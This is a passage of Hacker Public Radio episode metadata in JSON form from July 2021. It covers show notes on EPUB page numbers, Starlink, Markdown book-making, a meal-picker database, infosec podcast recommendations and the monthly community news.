                                                              • I intend to document this soon.
                                                              • \n
                                                            • \n
                                                            \n

                                                            How Dave makes HPR shownotes

                                                            \n
                                                              \n
                                                            • Uses scripts to manage show note generation
                                                            • \n
                                                            • Uses Markdown when writing the notes\n
                                                                \n
                                                              • Scripts generate note templates and a Makefile
                                                              • \n
                                                              • Automation using make
                                                              • \n
                                                            • \n
                                                            • Uses Template Toolkit features inside notes to allow extra features\n
                                                                \n
                                                              • Notes go through a pre-processor (a script with access to the show metadata)
                                                              • \n
                                                              • The end product is Markdown which is processed with Pandoc
                                                              • \n
                                                            • \n
                                                            • Template Toolkit (TT2)\n
                                                                \n
                                                              • A Perl (and Python) tool kit for making templates
                                                              • \n
                                                              • Good for generating HTML, but can generate any text
                                                              • \n
                                                            • \n
                                                            • TT2 macros can be used to display scripts in shows relating to the subject, and to run them and capture the output. This makes it certain that the script on display really generated the output shown!
                                                            • \n
                                                            • The 'Falkon' browser (originally called QupZilla) is great for monitoring notes since it updates when the HTML changes.\n
                                                                \n
                                                              • Dave confused it with Pale Moon (a fork of Firefox/Mozilla) when talking about tab grouping features
                                                              • \n
                                                            • \n
                                                            • Should this (personalised) bundle of software be released to the world?\n
                                                                \n
                                                              • Probably yes, since the thoughts in it may be useful even if the code is not.
                                                              • \n
                                                            • \n
                                                            \n

                                                            Consolidating show notes into a book

                                                            \n
                                                              \n
                                                            • We had discussed the following topic a little in other contexts, and offline, but didn’t really look at it in this show. In brief, and for the record, the plans are:\n
                                                                \n
                                                              • There was a series on 'sed', the stream editor from the GNU project. It was called “Introduction to sed”, and consisted of 5 parts, which ran through 2016.
                                                              • \n
                                                              • Each episode had short and long notes as well as several examples.
                                                              • \n
                                                              • Work has begun on consolidating all of the long notes into a single document which will be released on the HPR site, in HTML and PDF formats. Perhaps ePub will be included if feasible.
                                                              • \n
                                                              • It’s seen as critical that an index be provided so that topics can be found easily. At the moment this is simplest to achieve with the PDF version, using Andrew’s index generator as discussed in part 1 of this pair of shows.
                                                              • \n
                                                            • \n
                                                            \n

                                                            Digression about experiences in UK Higher Education

                                                            \n
                                                              \n
                                                            • Change of funding through the 1980’s to the 2000’s, particularly in IT
                                                            • \n
                                                            • Moving from (often very clever) “home-brew” solutions to products from the big players like Microsoft and Oracle.
                                                            • \n
                                                            • The change of management style to something more like the industry methods of earlier times, many of which had been discarded.
                                                            • \n
                                                            • Perhaps there is scope for more discussion on this subject in another HPR show!
                                                            • \n
                                                            ","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Markdown,Pandoc,Template Toolkit,PDF","version":0,"downloads":0,"valid":1}, {"id":3377,"date":"2021-07-13","title":"Chromebook support and more","duration":994,"summary":"I've run into disaster using my chrome book","notes":"

                                                            \nI've made a special show covering the problem with chromebook support.
                                                            \nI cover the latest AntiX release.
                                                            \nI cover the latest NomadBSD release and I cover GUIX 1.3 and what I ended up using GUIX for.\n

                                                            ","hostid":377,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"chromebook, AntiX, NomadBSD, GUIX, bath","version":0,"downloads":0,"valid":1}, {"id":3378,"date":"2021-07-14","title":"A bit of my experience with Starlink internet service","duration":608,"summary":"some ramblings about satellite internet service and how Starlink is different","notes":"

                                                            Starlink website: https://www.starlink.com/

                                                            \n\n

                                                            Starlink from Wikipedia: https://en.wikipedia.org/wiki/Starlink

                                                            \n\n

                                                            \nStarlink is a satellite internet constellation being constructed by SpaceX providing satellite Internet access. The constellation will consist of thousands of mass-produced small satellites in low Earth orbit (LEO), which communicate with designated ground transceivers. The SpaceX satellite development facility in Redmond, Washington houses the Starlink research, development, manufacturing, and orbit control teams. The cost of the decade-long project to design, build, and deploy the constellation was estimated by SpaceX in May 2018 to be at least US$10 billion.\n

                                                            \n

                                                            \nProduct development began in 2015. Two prototype test-flight satellites were launched in February 2018. Additional test satellites and 60 operational satellites were deployed in May 2019. SpaceX launches up to 60 satellites at a time, aiming to deploy 1,584 of the 260 kg (570 lb) spacecraft to provide near-global service by late 2021 or 2022. SpaceX started a private beta service in the Northern United States in August 2020 and a public beta in October 2020, service beginning at high latitudes between 44° and 52° North.\n

                                                            \n

                                                            \nOn 15 October 2019, the United States Federal Communications Commission (FCC) submitted filings to the International Telecommunication Union (ITU) on SpaceX's behalf to arrange spectrum for 30,000 additional Starlink satellites to supplement the 12,000 Starlink satellites already approved by the FCC.\n

                                                            \n

                                                            \nAstronomers have raised concerns about the constellations’ effect on ground-based astronomy and how the satellites will add to an already jammed orbital environment. In response, SpaceX has implemented several upgrades to Starlink satellites aimed at reducing their brightness during operation. The satellites are equipped with krypton-fueled Hall thrusters which allow them to de-orbit at the end of their life. Additionally, the satellites are designed to autonomously avoid collisions based on uplinked tracking data.\n

                                                            \n","hostid":243,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"internet, leo, satellites, ISP","version":0,"downloads":0,"valid":1}, {"id":3379,"date":"2021-07-15","title":"Linux Inlaws S01E34: The one with the intelligence","duration":2716,"summary":"Part four of the three-part miniseries on deep learning and artificial intelligence","notes":"

                                                            \n In this fourth part of our three-part miniseries on Deep and Machine Learning our two heroes shed some\n light on a DL architecture called Generative Pre-Trained Transformer (GPT), a pretty sophistic piece\n of software that fools most humans when it comes to authoring text (ideal for budding writers with\n a block in place). Other topics of discussion includes OpenAI (the company behind this framework),\n Elon Musk, Bitcoin, Microsoft and if the GPT can actually pass the Turing test. All will be revealed -\n don't miss this episode!\n

                                                            \n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"GPT-3, OpenAI, Elon Musk, Microsoft, Bitcoin, meta-programming","version":0,"downloads":0,"valid":1}, {"id":3380,"date":"2021-07-16","title":"Building a Better Goodreads with ActivityPub","duration":698,"summary":"This episode looks at the popular application Goodreads to see if it can be done better.","notes":"

                                                            Federated social media can open up some wonderful possibilities to reimagine some of the social apps we already use and find ways to do them better. In this episode I want to highlight a talk that aimed at such a reimagining involving an app I already use, Goodreads. My main use of it is to manage my book library, but it also involves a social aspect where you can be friends with people and share book reviews, recommendations, and so on. So seeing how this can be done differently with ActivityPub was very interesting to me.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub, Goodreads, library","version":0,"downloads":0,"valid":1}, {"id":3381,"date":"2021-07-19","title":"Learning to skate","duration":2152,"summary":"Klaatu goes for a walk, and talks about learning to ride a skateboard","notes":"

                                                            Apologies for the heavy breathing. I chose (unwisely, in terms of audio) to walk up a steep hill.

                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"skateboard","version":0,"downloads":0,"valid":1}, {"id":3382,"date":"2021-07-20","title":"How I fixed a fault on my car for free thanks to YouTube","duration":760,"summary":"How I fixed a fault on my car for free and as an added bonus without injuring myself!","notes":"

                                                            I had a spare moment and found this show on my hard drive. Cheers MrX

                                                            \n

                                                            YouTube video I found that explains how to fix a rattling heat shield for free

                                                            \n

                                                            Picture of the fix!
                                                            \n\"Picture

                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Car, Repair, Hack, DIY","version":0,"downloads":0,"valid":1}, {"id":3383,"date":"2021-07-21","title":"My gEeeky Experiment - Part 1","duration":1029,"summary":"ClaudioM talks about how he revived his lowly Asus Eee PC 901 netbook with OpenBSD.","notes":"\n

                                                            CPU on my Dell Latitude E6410 via sysctl: hw.model=Intel(R) Core(TM) i5 CPU M 520 @ 2.40GHz

                                                            \n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"asus,eeepc,openbsd,bsd,linux","version":0,"downloads":0,"valid":1}, {"id":3384,"date":"2021-07-22","title":"Page Numbers in EPUB eBook Files","duration":1699,"summary":"Response to HPR 3367 I describe how to specify page numbers in an EPUB eBook.","notes":"

                                                            This episode is a response to hpr3367 by Andrew Conway and Dave Morriss. One of the topics they brought up was the thorny issue of page numbers in e-books. Most of the time you don't need to worry about page numbers in ebooks, if you're reading fiction for example. The whole point of an ebook is that the texts can reflow to fit the page no matter what size the screen is or what font-size you've chosen. This is a major accessibility feature of all e-book formats. One reason you might want to specify actual page numbers, though, is if you're dealing with a technical or academic book, and you need to be able to refer to specific passages in the book by page number, as you are expected to do in academic research. Or, as Andrew and Dave were discussing, you might need to create an index in your ebook that would send your readers back to specific pages like in a paper book.

                                                            \n\n

                                                            I've thought about this before but never really gotten into the weeds and figured out how to make it happen. In fact, when I was creating the new digital editions of the Counterpoint textbooks like I discussed in hpr1512, I actually took the trouble to put page number anchors through the entire thing, so that at a future date I would be able to enable real page numbers. This was a key part of the source file's infrastructure, which helped me quickly find the passages I was working on in my huge HTML file. Those anchors are not quite in the correct format for EPUB, but they are consistent and I will easily be able to write a script to fix them. I haven't done that yet, but now that I figured out how to do it on some smaller examples, this is on my to-do list.

                                                            \n\n

                                                            Anyway while I was listening to Dave and Andrew talk about this, I thought I remembered reading somewhere that in the newest ePub specification, EPUB 3, there was support for publisher's page numbers to deal with precisely this issue. Their discussion prompted me to see if I could make it work. I'm happy to report success, although with some qualifications, which I will get into.

                                                            \n\n

                                                            Converting to EPUB 3

                                                            \n\n

                                                            The first thing to do is to upgrade your ebook from EPUB2 to EPUB3. There are a couple of ways to do this. The way I did it was to use the ebook editor in a recent version of Calibre. When you open up the EPUB for editing, go to the Tools menu and choose Upgrade book internals. This will create the new navigation file nav.xhtml to replace the old toc.ncx file. You'll need to edit this new file later to enable the page numbers.

                                                            \n\n

                                                            Insert page anchors

                                                            \n\n

                                                            Next you need to put your page anchors in there. This could be very tedious if you haven't done any preparatory work, such as putting visible page numbers in plain sight in square brackets [21] the way I did for a couple of ebooks. It wasn't very elegant, but at least it was easy to find where the page breaks were. I have a Blather voice command that triggers a python script to create these things. Here's an example of page number anchor, which goes in the main text of the book wherever you want to insert a page number. This will not be visible to the reader inline. This is for page 57:

                                                            \n\n
                                                            \n<span epub:type="pagebreak" id="page57" title="57"></span>\n
                                                            \n\n

                                                            Page List in Navigation File

                                                            \n\n

                                                            Finally you need to put a page list in the new navigation file. This is simply an ordered list with hyperlinks to every page anchor that you put in your ebook. This will not be visible to the reader, but it's critical to making everything work. Here's a minimal example from my first attempt. This only covers Pages 122 to 126. This is the kind of page numbering you might need if you created an ebook from a five-page article from an academic journal that appeared in the middle of the volume.

                                                            \n\n\n
                                                            \n<nav epub:type="page-list" hidden="hidden">\n    <ol>\n        <li><a href="filename.html#page122">122</a></li>\n        <li><a href="filename.html#page123">123</a></li>\n        <li><a href="filename.html#page124">124</a></li>\n        <li><a href="filename.html#page125">125</a></li>\n        <li><a href="filename.html#page126">126</a></li>\n    </ol>\n</nav>\n
                                                            \n\n

                                                            I'm not sure it matters where you put this navigation block in the nav.xhmtl file, but I put mine between the table of contents and the landmarks blocks.

                                                            \n\n

                                                            Scripting the creation of page list

                                                            \n\n

                                                            It could be very tedious to create a page list like this, so of course I wrote a script to automate a lot of the heavy lifting. I'm sure Dave can write one that's more elegant than this, but this is what I came up with in about 5 minutes and it did the job, with the exception of putting the right URL for each link. I did a little bit of post-production to search and replace the URLs generated in the script with what I needed for the specific eBook. I think if you added a third command-line argument with a URL, you can solve this problem. The difficulty with larger books will be when you have more than one internal HTML file in the book, you will have to go through very carefully and make sure that the link goes to the correct file. I saved the script as pagelist.sh and put it in my $PATH.

                                                            \n\n

                                                            Command to run to generate a page list from pages 42 to 61:

                                                            \n\n
                                                            \npagelist.sh 42 61\n
                                                            \n\n

                                                            And here's the script:

                                                            \n\n
                                                            \n#!/bin/bash\n\n# grab beginning and ending pages from 1st and 2nd\n# CLI arguments, and specify a tmp file to put stuff\nstart="$1"\nend="$2"\nnavfile=/tmp/navfile.txt\n\n# put the top matter for the nav block\necho '<nav epub:type="page-list" hidden="hidden">' > $navfile\necho "    <ol>" >> $navfile\n\n# iterate through the page numbers making list item for each one.\n# should replace filename with your ebook's actual filename\nfor i in $(seq $start $end); do\n\techo "        <li><a href=\\"filename.html#page$i\\">$i</a></li>" >> $navfile\ndone\n\n# close out the list and nav block\necho "    </ol>" >> $navfile\necho "</nav>" >> $navfile\n\nexit 0\n
                                                            \n\nThen you just need to copy and paste what was generated from the script into your editor and make sure all of the URLs are correct, then stick that navigation block into the nav.xhtml file.\n\n

                                                            Conclusions

                                                            \n\n

                                                            So, once you have the page anchors and the page list in place in your EPUB3 ebook, everything should work. The problem is that so far the only ebook reader I have found that renders the page numbers correctly on the screen is the iBooks app on iOS. I tried it on my Kobo dedicated eReader, on the Marvin ePub reader on iOS and on Overdrive on Android, and none of them displayed my shiny page numbers. iBooks was the only one, but it did so perfectly after choosing \"show publisher page numbers\" on the table of contents menu. It was pretty magical. A quick internet search confirms that there is very little e-book reader or app support for displaying these page numbers.

                                                            \n\n

                                                            However, the embedded page numbers will still be useful if what you want to do is create an index that directs readers back to specific pages. On the one hand, indexes are not as critical as they used to be because you can search through the text of e-books very easily. What you can't do easily is browse an eBook the way you can browse a paper book index to see what topics might catch your eye. This might be something only academics do. It's not uncommon for an academic to pick up a book and flip right to the bibliography and the index!

                                                            \n\n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ebooks, epub, scripting, calibre","version":0,"downloads":0,"valid":1}, {"id":3385,"date":"2021-07-23","title":"DIY Cat feeder!","duration":824,"summary":"I talk about 3d printed cat feeders","notes":"

                                                            \nIn this episode operat0r builds a cat feeder based on thingiverse.com\n

                                                            ","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"cats,3d printing,hacking,arduino","version":0,"downloads":0,"valid":1}, {"id":3386,"date":"2021-07-26","title":"What's for dinner?","duration":1342,"summary":"Some scripts and a database for randomly choosing which meal to cook","notes":"

                                                            Overview

                                                            \n

                                                            I live on my own, but I cook for members of my family from time to time. Each week we all get together and cook dinner for Wednesday and Thursday. I usually do the cooking but we are starting to share these duties for certain meals.

                                                            \n

                                                            In 2019 I thought it would be useful if I had some sort of random chooser to decide what next week’s meal was going to be. I wrote a Bash script called choose_meal, using a simple CSV file of meal names and the date last eaten to avoid choosing the same one too often. The shortcomings of this approach soon became apparent!

                                                            \n

                                                            It wasn’t long before choose_meal was rewritten in Perl. This time I decided to use a database, and chose SQLite to create it. My database contained just two tables, one for the meals themselves (called slightly confusingly 'meal_history'), and another for a record of the choices made (called 'meal_log') – the ability to produce historical reports seemed like a desirable feature!

                                                            \n

                                                            In 2019 the design of this system was very specific to our needs: one choice per week on a Wednesday. It was not something that could be used by anyone else – which seemed like a bad idea.

                                                            \n

                                                            In late 2020 and early 2021 the system was redesigned, as will be discussed in the detailed notes. In May 2021 a more general design was added to the public GitLab repository and the preparation of this show was begun.

                                                            \n

                                                            I had never intended this system to hold recipes. This was partly because I have built a collection of recipes I have constructed from various sources and amended as I have made them. I print these and keep them in a ring-binder for reference as I cook. In some cases the meals described in the database are multi-component ones (such as the dishes that make up a curry for example), so it doesn’t seem appropriate to hold these here.

                                                            \n

                                                            I might rethink this in the future however.

                                                            \n

                                                            Long notes

                                                            \n

                                                            Follow this link to read the detailed notes associated with this episode.

                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • Perl

                                                              \n
                                                                \n
                                                              • Perl 5: (currently v5.35.0)
                                                              • \n
                                                              • Raku: originally called Perl 6, a totally different scripting language.
                                                              • \n
                                                              • Perl 7: updates to Perl 5, removal of some historical stuff
                                                              • \n
                                                            • \n
                                                            • SQLite: a C-language library that implements a small, fast, self-contained, high-reliability, full-featured, SQL database engine.

                                                            • \n
                                                            • GitLab repository for Weekly Menus

                                                            • \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Perl,SQLite3,database,food","version":0,"downloads":0,"valid":1}, {"id":3387,"date":"2021-07-27","title":"Infosec Podcasts Part 5 Grab bag","duration":483,"summary":"Presenting my favorite podcasts related to various aspects of information security","notes":"

                                                            Inoffensive in every region of the world.

                                                            \n

                                                            Thank you to everyone who has listened to my previous episodes. I hope I am not boring you all to death!

                                                            \n

                                                            Why am I recording this series?

                                                            \n
                                                              \n
                                                            • You can hear my reasoning for why I am making this series by listening to the introduction to any of the previous four episodes in this series. Yes, this is a shameless plug for you to listen to my other works.
                                                            • \n
                                                            \n

                                                            Because there are so many podcasts to list, I have broken them down into 6 different episodes based on topics:

                                                            \n
                                                              \n
                                                            • Part 1 - News & Current Events
                                                            • \n
                                                            • Part 2 - General Information Security
                                                            • \n
                                                            • Part 3 - Career & Personal Development
                                                            • \n
                                                            • Part 4 - Social Engineering
                                                            • \n
                                                            • Part 5 -\n
                                                                \n
                                                              • Hacks & Attacks
                                                              • \n
                                                              • Technical Information & Learning
                                                              • \n
                                                              • Infosec Community / Social / History
                                                              • \n
                                                            • \n
                                                            • Part 6 - Infosec Leadership
                                                            • \n
                                                            \n

                                                            Part 5

                                                            \n

                                                            Hacks & Attacks

                                                            \n
                                                              \n
                                                            • Malicious Life Ran Levi sponsored by Cybereason (Periodically)

                                                              \n
                                                            • \n
                                                            • Darknet Diaries - Jack Rhysider (Bi-Weekly)

                                                              \n
                                                            • \n
                                                            \n

                                                            Technical information / learning

                                                            \n
                                                              \n
                                                            • Digital Forensic Survival Podcast - Michael Leclair (Weekly)

                                                              \n
                                                            • \n
                                                            • The Offensive Security Podcast - TJ Null and Jeremy Miller (Harbinger) and sponsored by Offensive Security (Creators of the OSCP Offensive Security Certified Professional certification)

                                                              \n
                                                                \n
                                                              • Probably belongs in the Career & Personal Development category, but I discovered it after I had already recorded that episode.
                                                              • \n
                                                              • Interviews with Red team practitioners and other security professionals, related to the various certifications and training available with Offensive Security.
                                                              • \n
                                                              • https://www.offensive-security.com/podcast/
                                                              • \n
                                                            • \n
                                                            \n

                                                            Community / Social / History

                                                            \n
                                                              \n
                                                            • Command Line Heroes - Saron Yitbarek and sponsored by Red Hat (Weekly with gaps between seasons)

                                                              \n
                                                            • \n
                                                            • Beers with Talos - Mitch Neff, Craig Williams, Joel Esler, Matt Olney all part of Cisco Talos Research Center (Periodically)

                                                              \n
                                                            • \n
                                                            \n

                                                            I hope that this series has helped introduce you to some new and interesting listening options. Give some of them a try, and I would love to get your feedback in the episode comments on the HPR website.

                                                            \n

                                                            The next and final episode of this series will be about Information Security Leadership podcasts.

                                                            \n

                                                            Thank you for listening.

                                                            ","hostid":394,"series":75,"explicit":1,"license":"CC-BY-SA","tags":"infosec, podcasts, security","version":0,"downloads":0,"valid":1}, {"id":3388,"date":"2021-07-28","title":"Linux Inlaws S01E35: The Free Software Foundation Europe","duration":4695,"summary":"An interview with Matthias Kirschner, Free Software Foundation Europe","notes":"

                                                            In this episode our aging heroes host the Free Software Foundation Europe (FSFE). Its president, Matthias\nKirschner talk about the past, the present and the future of free and open source software not only\nfrom an FSFE perspective. Never mind how he got into computers in the first place. Also, different opinions\nabout communism in general and its implementations (and the flaws of the first rounds of implementations)\nare touched upon. So historians, FLOSS users and enthusiasts, communists and free spirits: This is your episode!\nPlus: Ever wondered what the Towel Day is all about? Check out the second half of the episode! At our guest's\nrequest: Please note that this episode was recorded on June 1st 2021.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"FSFE, FSF, Stallman, Hackathon, Communism, Towel Day","version":0,"downloads":0,"valid":1}, {"id":3389,"date":"2021-07-29","title":"Tales of a Tagger","duration":366,"summary":"Adventures and mishaps tagging past shows","notes":"

                                                            https://hackerpublicradio.org/report_missing_tags.php

                                                            \n

                                                            Shows without a summary and/or tags

                                                            \n

                                                            Page generated on 2021-06-11 at 20:43:39 UTC

                                                            \n

                                                            Sort order: id

                                                            \n

                                                            Current counts

                                                            \n
                                                              \n
                                                            • 323 shows without summaries
                                                            • \n
                                                            • 306 shows without tags
                                                            • \n
                                                            • 275 shows with neither summaries nor tags
                                                            • \n
                                                            • 354 shows which need work
                                                            • \n
                                                            \n

                                                            Instructions

                                                            \n
                                                              \n
                                                            1. Find a show in the list below
                                                            2. \n
                                                            3. Check in the list which attributes are missing: summary and/or tags
                                                            4. \n
                                                            5. Click the show number or title to visit the show page
                                                            6. \n
                                                            7. Read the show notes and listen to the show to determine the missing information
                                                            8. \n
                                                            9. Submit your updates by email to tags at hackerpublicradio.org
                                                            10. \n
                                                            \n

                                                            Please send simple ASCII email. No HTML please, and no multipart, encrypted or signed messages; the script can't handle them at the moment! (We are working on a solution to some of this though). Remember, the internals of an email are complex and the script isn't clever enough to deal with all the many possible formats. Please be gentle with it!

                                                            \n

                                                            Format the message as follows:

                                                            \n
                                                            show:12345\nsummary:Using Linux at Christmas to make tomato soup in a sporran\ntags:linux,christmas,sporran,tomato soup\n\nshow: 12346\ntags: sausage,clothing,hairpiece
                                                            \n
                                                              \n
                                                            • Start with the show:XXXX line (just the show number, no 'hpr')
                                                            • \n
                                                            • If either the summary or the tags are already present on the show you can omit them from the group
                                                            • \n
                                                            • It's not possible to change existing summaries or tags by this route, only to add missing ones
                                                            • \n
                                                            • Ensure the summary text isn't longer than 100 characters
                                                            • \n
                                                            • The tags need to be separated by commas
                                                            • \n
                                                            • If you need to add a tag with a comma in it enclose the tag in double quotes
                                                            • \n
                                                            • The length of the tag list can't exceed 200 characters
                                                            • \n
                                                            • You can update more than one show per email if you want
                                                            • \n
                                                            • Blank lines between the groups of show/summary/tags lines are fine (as shown), as are comment lines beginning with '#'
                                                            • \n
                                                            \n

                                                            Updates will be processed with a script, which is run manually, and this page will be refreshed once the changes have been made. The timestamp above shows when it was last refreshed.

                                                            \n
                                                              \n
                                                            1. Got carried away and broke the 100 character rule\n
                                                                \n
                                                              • can be checked in vim by hitting '$', goes to the last character in the line. Observe the character count at the bottom of the screen to verify this is less than 100.
                                                              • \n
                                                            2. \n
                                                            3. Went a little too far with tags, and went pretty far beyond the 200 character
                                                            4. \n
                                                            5. Found that these are reasonable limits, that if not followed, break the script
                                                            6. \n
                                                            7. Don't be like me. Gently use these tools and they will serve you well.
                                                            8. \n
                                                            9. Here are some of the tools I used when tagging was done right.\n
                                                                \n
                                                              1. i3 window manager\n
                                                                  \n
                                                                • Use mplayer and vim
                                                                • \n
                                                              2. \n
                                                              3. Mplayer\n
                                                                  \n
                                                                • Play audio file faster without pitch increase

                                                                • \n
                                                                • https://kenfallon.com/speeding-up-speech-with-mplayer
                                                                  \n{ key will slow down by 50% of the current rate
                                                                  \n[ key will slow down by 10% of the current rate
                                                                  \nBackspace will return the speed to normal
                                                                  \n] key will speed up 10% of the current rate
                                                                  \n} key will speed up by 50% of the current rate
                                                                  \n9 key will decrease the volume
                                                                  \n0 key will increase the volume
                                                                  \n

                                                                  \n

                                                                  alias mplayer='mplayer -af scaletempo'

                                                                • \n
                                                              4. \n
                                                              5. Android - Termux\n
                                                              6. \n
                                                            10. \n
                                                            11. Enjoy old shows and lend a hand at the same time. :)
                                                            12. \n
                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"tags,mplayer,Android,Termux,vim,i3 window manager","version":0,"downloads":0,"valid":1}, {"id":3390,"date":"2021-07-30","title":"Intro to DOS Series","duration":803,"summary":"We begin some technological archeology to explore the old warhorse, DOS.","notes":"

                                                            This Introduction to the series also serves as a brief recap of my early history with computers, and the path that brought me to where I am today.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing","version":0,"downloads":0,"valid":1}, {"id":3391,"date":"2021-08-02","title":"HPR Community News for July 2021","duration":4611,"summary":"HPR Volunteers talk about shows released and comments posted in July 2021","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3369Thu2021-07-01Linux Inlaws S01E33: The Return of the Rustmonochromec
                                                            3370Fri2021-07-02More Free Images?Ahuka
                                                            3371Mon2021-07-05HPR Community News for June 2021HPR Volunteers
                                                            3372Tue2021-07-06HPR 2020 - 2021 New Years Eve Show Episode 8Honkeymagoo
                                                            3373Wed2021-07-07HPR RPG Club reviews Starfinderklaatu
                                                            3374Thu2021-07-08Why I love the MacBook Mid 2010swift110
                                                            3375Fri2021-07-09Car ODB2 Fun and Failoperat0r
                                                            3376Mon2021-07-12Making books with Linux - part 2Dave Morriss
                                                            3377Tue2021-07-13Chromebook support and moreZen_Floater2
                                                            3378Wed2021-07-14A bit of my experience with Starlink internet serviceJezra
                                                            3379Thu2021-07-15Linux Inlaws S01E34: The one with the intelligencemonochromec
                                                            3380Fri2021-07-16Building a Better Goodreads with ActivityPubAhuka
                                                            3381Mon2021-07-19Learning to skateklaatu
                                                            3382Tue2021-07-20How I fixed a fault on my car for free thanks to YouTubeMrX
                                                            3383Wed2021-07-21My gEeeky Experiment - Part 1Claudio Miranda
                                                            3384Thu2021-07-22Page Numbers in EPUB eBook FilesJon Kulp
                                                            3385Fri2021-07-23DIY Cat feeder!operat0r
                                                            3386Mon2021-07-26What's for dinner?Dave Morriss
                                                            3387Tue2021-07-27Infosec Podcasts Part 5 Grab bagTrey
                                                            3388Wed2021-07-28Linux Inlaws S01E35: The Free Software Foundation Europemonochromec
                                                            3389Thu2021-07-29Tales of a TaggerArcher72
                                                            3390Fri2021-07-30Intro to DOS SeriesAhuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 18 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 5 comments on\n3 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3357\n(2021-06-15) \"My terminal journey, part 02.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nSome Guy On The Internet on 2021-07-08:\n\"apt-mark hold\"

                                                              \n
                                                            • hpr3367\n(2021-06-29) \"Making books with linux - part 1\"\nby Andrew Conway.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nJon Kulp on 2021-07-11:\n\"Page numbers\"
                                                              • \n
                                                              • \nComment 2:\ndangerseeker on 2021-07-16:\n\"Fonts and LaTeX\"

                                                              \n
                                                            • hpr3368\n(2021-06-30) \"Infosec Podcasts Part 4 - Social Engineering Podcasts\"\nby Trey.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nPorkchop on 2021-07-01:\n\"recommendation\"
                                                              • \n
                                                              • \nComment 2:\nTrey on 2021-07-05:\n\"Thanks for the feedback, Porkchop.\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 13 comments on 8 of this month's shows:

                                                            \n
                                                            • hpr3369\n(2021-07-01) \"Linux Inlaws S01E33: The Return of the Rust\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2021-07-01:\n\"I loved the show\"

                                                              \n
                                                            • hpr3371\n(2021-07-05) \"HPR Community News for June 2021\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nfrank on 2021-07-05:\n\"A comment on your comment about my comment\"
                                                              • Comment 2:\nTrey on 2021-07-05:\n\"Congrats on joining the Ham community!\"
                                                              • Comment 3:\nKen Fallon on 2021-07-06:\n\"Errors in comments\"
                                                              • Comment 4:\nMr. Young on 2021-07-06:\n\"Ranger previously on HPR\"

                                                              \n
                                                            • hpr3372\n(2021-07-06) \"HPR 2020 - 2021 New Years Eve Show Episode 8\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHonkeymagoo on 2021-05-11:\n\"Thanking\"

                                                              \n
                                                            • hpr3377\n(2021-07-13) \"Chromebook support and more\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2021-07-13:\n\"Well,\"

                                                              \n
                                                            • hpr3381\n(2021-07-19) \"Learning to skate\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJon Kulp on 2021-07-21:\n\"Consultant available\"
                                                              • Comment 2:\nJon Kulp on 2021-07-21:\n\"Skate Shoes\"

                                                              \n
                                                            • hpr3383\n(2021-07-21) \"My gEeeky Experiment - Part 1\"\nby Claudio Miranda.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nZen_floater2 on 2021-07-22:\n\"Why I love OpenBSD\"

                                                              \n
                                                            • hpr3388\n(2021-07-28) \"Linux Inlaws S01E35: The Free Software Foundation Europe\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBrian-in-ohio on 2021-07-30:\n\"free speech\"

                                                              \n
                                                            • hpr3390\n(2021-07-30) \"Intro to DOS Series\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBrian-in-ohio on 2021-07-30:\n\"great show\"
                                                              • Comment 2:\nKevin O'Brien on 2021-07-30:\n\"You are most welcome\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

